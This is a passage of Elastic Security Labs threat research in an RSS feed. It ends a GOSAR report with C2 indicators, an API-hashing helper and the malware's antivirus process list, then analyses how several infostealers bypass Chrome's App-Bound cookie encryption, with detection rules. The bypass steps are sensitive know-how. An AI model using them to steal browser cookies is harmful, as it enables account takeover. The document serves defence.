<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
<tr>
<td align="left">hk-dns.wkossclsaleklddeff[.]io</td>
<td align="left">domain-name</td>
<td align="left"></td>
<td align="left">GOSAR C2 Server</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a></li>
<li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a></li>
<li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li>
<li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a></li>
</ul>
<h2>Appendix</h2>
<p>Hashing algorithm (SADBRIDGE)</p>
<pre><code class="language-py">def ror(x, n, max_bits=32) -&gt; int:
    &quot;&quot;&quot;Rotate right within a max bit limit, default 32-bit.&quot;&quot;&quot;
    n %= max_bits
    return ((x &gt;&gt; n) | (x &lt;&lt; (max_bits - n))) &amp; (2**max_bits - 1)

def ror_13(data) -&gt; int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte &gt;= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) &amp; 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -&gt; int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) &amp; 0xFFFFFFFF
    
    return hex(result)
</code></pre>
<h3>AV products checked in GOSAR</h3>
<table>
<thead>
<tr>
<th align="center">360sd.exe</th>
<th align="center">kswebshield.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">360tray.exe</td>
<td align="center">kvmonxp.exe</td>
</tr>
<tr>
<td align="center">a2guard.exe</td>
<td align="center">kxetray.exe</td>
</tr>
<tr>
<td align="center">ad-watch.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">arcatasksservice.exe</td>
<td align="center">mcshield.exe</td>
</tr>
<tr>
<td align="center">ashdisp.exe</td>
<td align="center">miner.exe</td>
</tr>
<tr>
<td align="center">avcenter.exe</td>
<td align="center">mongoosagui.exe</td>
</tr>
<tr>
<td align="center">avg.exe</td>
<td align="center">mpmon.exe</td>
</tr>
<tr>
<td align="center">avgaurd.exe</td>
<td align="center">msmpeng.exe</td>
</tr>
<tr>
<td align="center">avgwdsvc.exe</td>
<td align="center">mssecess.exe</td>
</tr>
<tr>
<td align="center">avk.exe</td>
<td align="center">nspupsvc.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">ntrtscan.exe</td>
</tr>
<tr>
<td align="center">avp.exe</td>
<td align="center">patray.exe</td>
</tr>
<tr>
<td align="center">avwatchservice.exe</td>
<td align="center">pccntmon.exe</td>
</tr>
<tr>
<td align="center">ayagent.aye</td>
<td align="center">psafesystray.exe</td>
</tr>
<tr>
<td align="center">baidusdsvc.exe</td>
<td align="center">qqpcrtp.exe</td>
</tr>
<tr>
<td align="center">bkavservice.exe</td>
<td align="center">quhlpsvc.EXE</td>
</tr>
<tr>
<td align="center">ccapp.exe</td>
<td align="center">ravmond.exe</td>
</tr>
<tr>
<td align="center">ccSetMgr.exe</td>
<td align="center">remupd.exe</td>
</tr>
<tr>
<td align="center">ccsvchst.exe</td>
<td align="center">rfwmain.exe</td>
</tr>
<tr>
<td align="center">cksoftshiedantivirus4.exe</td>
<td align="center">rtvscan.exe</td>
</tr>
<tr>
<td align="center">cleaner8.exe</td>
<td align="center">safedog.exe</td>
</tr>
<tr>
<td align="center">cmctrayicon.exe</td>
<td align="center">savprogress.exe</td>
</tr>
<tr>
<td align="center">coranticontrolcenter32.exe</td>
<td align="center">sbamsvc.exe</td>
</tr>
<tr>
<td align="center">cpf.exe</td>
<td align="center">spidernt.exe</td>
</tr>
<tr>
<td align="center">egui.exe</td>
<td align="center">spywareterminatorshield.exe</td>
</tr>
<tr>
<td align="center">f-prot.EXE</td>
<td align="center">tmbmsrv.exe</td>
</tr>
<tr>
<td align="center">f-prot.exe</td>
<td align="center">unthreat.exe</td>
</tr>
<tr>
<td align="center">f-secure.exe</td>
<td align="center">usysdiag.exe</td>
</tr>
<tr>
<td align="center">fortitray.exe</td>
<td align="center">v3svc.exe</td>
</tr>
<tr>
<td align="center">hipstray.exe</td>
<td align="center">vba32lder.exe</td>
</tr>
<tr>
<td align="center">iptray.exe</td>
<td align="center">vsmon.exe</td>
</tr>
<tr>
<td align="center">k7tsecurity.exe</td>
<td align="center">vsserv.exe</td>
</tr>
<tr>
<td align="center">knsdtray.exe</td>
<td align="center">wsctrl.exe</td>
</tr>
<tr>
<td align="center">kpfwtray.exe</td>
<td align="center">yunsuo_agent_daemon.exe</td>
</tr>
<tr>
<td align="center">ksafe.exe</td>
<td align="center">yunsuo_agent_service.exe</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/under-the-sadbridge-with-gosar/Security Labs Images 21.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
            <link>https://www.elastic.co/pt/security-labs/katz-and-mouse-game</link>
            <guid>katz-and-mouse-game</guid>
            <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h1>Key takeaways</h1>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h1>Background</h1>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2>Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h1>Stealer Bypass Techniques, Summarized</h1>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p>
<h2>STEALC/VIDAR</h2>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p>
<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p>
<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p>
<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p>
<h2>METASTEALER</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h2>PHEMEDRONE</h2>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image10.png" alt="README.txt within PHEMEDRONE project" /></p>
<p>The malware first enumerates the different profiles within Chrome, then performs a browser check using function (<code>BrowserHelpers.NewEncryption</code>) checking for the Chrome browser with a version greater than or equal to <code>127</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image27.png" alt="Chrome version verification in PHEMEDRONE" /></p>
<p>If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image34.png" alt="High-level functions used cookie extraction in PHEMEDRONE" /></p>
<p>By viewing the <code>ChromeDevToolsWrapper</code> class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (<code>9222</code>) is used along with window-position set to <code>-2400</code>,<code>-2400</code> which is set off-screen preventing any visible window from alerting the victim.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image15.png" alt="New Chrome process in remote debug mode" /></p>
<p>Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (<code>Network.getAllCookies</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image24.png" alt="Chrome DevTools Protocol used to retrieve cookies" /></p>
<p>The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image32.png" alt="Cookie data within network capture" /></p>
<h2>XENOSTEALER</h2>
<p><a href="https://github.com/moom825/XenoStealer/">XENOSTEALER</a> is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.</p>
<p>The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the <code>app_bound_encrypted_key</code>. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of <code>Chrome.exe</code>, then injects code using a helper class called <a href="https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs"><code>SharpInjector</code></a>, passing the encrypted key as a parameter.</p>
<p>The injected code subsequently calls the <code>DecryptData</code> method from the <code>GoogleChromeElevationService</code> to obtain the decrypted key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image29.png" alt="Source code of the injected code" /></p>
<h2>LUMMA</h2>
<p>In mid-October, the latest version of <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma">LUMMA</a> implemented a new method to bypass Chrome cookie protection, as reported by <a href="https://x.com/g0njxa">@g0njxa</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image40.png" alt="" /></p>
<p>We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (<code>130.0.6723.70</code>). LUMMA first creates a visible Chrome process via <code>Kernel32!CreateProcessW</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image3.png" alt="Dump of CreateProcessW lpApplicationName parameter" /></p>
<p>This activity was followed up in the debugger with multiple calls to <code>NtReadVirtualMemory</code> where we identified LUMMA searching within the Chrome process for <code>chrome.dll</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image7.png" alt="LUMMA seeks chrome.dll in Chrome" /></p>
<p>Once found, the malware copies the <code>chrome.dll</code> image to its own process memory using <code>NtReadVirtualMemory</code>. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s <code>CookieMonster</code> component.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image36.png" alt="Lumma’s pattern scanning" /></p>
<p>Lumma uses an obfuscated signature pattern to pinpoint the <code>CookieMonster</code> functionality:</p>
<pre><code>3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4
</code></pre>
<p>Below is the YARA rule after de-obfuscation:</p>
<pre><code>rule lumma_stealer
{
  meta:
    author = &quot;Elastic Security Labs&quot;
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}
</code></pre>
<p>After decoding and searching for the pattern in <code>chrome.dll</code>, this leads to the <code>CookieMonster</code> destructor (<a href="https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657"><code>net::CookieMonster::~CookieMonster</code></a>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image25.png" alt="Lumma pattern match on CookieMonster" /></p>
<p>The cookies are then identified in memory and dumped out in clear text from the Chrome process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image21.png" alt="LUMMA dumping the cookie in clear text from Chrome" /></p>
<p>Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image12.png" alt="Received stolen cookies on the C2 side" /></p>
<h1>Detection</h1>
<p>Below are the following behavioral detections that can be used to identify techniques used by information stealers:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8">Web Browser Credential Access via Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3">Browser Debugging from Unusual Parent</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8">Potential Browser Information Discovery</a></li>
</ul>
<p>Additionally, the following queries can be used for hunting diverse related abnormal behaviors:</p>
<h2>Cookies access by an unusual process</h2>
<p>This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:</p>
<pre><code class="language-sql">FROM logs-endpoint.events.file-default*
| where event.category == &quot;file&quot; and event.action == &quot;open&quot; and file.name == &quot;Cookies&quot; and file.path like &quot;*Chrome*&quot;
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), &quot;&quot;&quot;c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\&quot;&quot;&quot;, &quot;c:\\\\users\\\\user\\\\&quot;)
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count &lt;= 2 and access_count &lt;=2
</code></pre>
<p>Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image22.png" alt="ES|QL query results for suspicious browser cookies file access" /></p>
<p>METASTEALER behavior tends to first terminate all running chrome instances then calls <a href="https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance"><code>CoCreateInstance</code></a> to instantiate the Google Chrome <a href="https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/">elevation service</a>, this series of events can be expressed with the following EQL query:</p>
<pre><code class="language-sql">sequence by host.id with maxspan=1s
[process where event.action == &quot;end&quot; and process.name == &quot;chrome.exe&quot;] with runs=5
[process where event.action == &quot;start&quot; and process.name == &quot;elevation_service.exe&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image4.png" alt="EQL query results for suspicious browser termination" /></p>
<p>The previous hunt indicates suspicious agents but doesn't identify the source process. By <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663">enabling registry object access auditing through event 4663</a> on the Chrome Elevation service CLSID registry key <code>{708860E0-F641-4611-8895-7D867DD3675B}</code>, we can detect unusual processes attempting to access that key:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image9.png" alt="Google Chrome Elevation COM registry access" /></p>
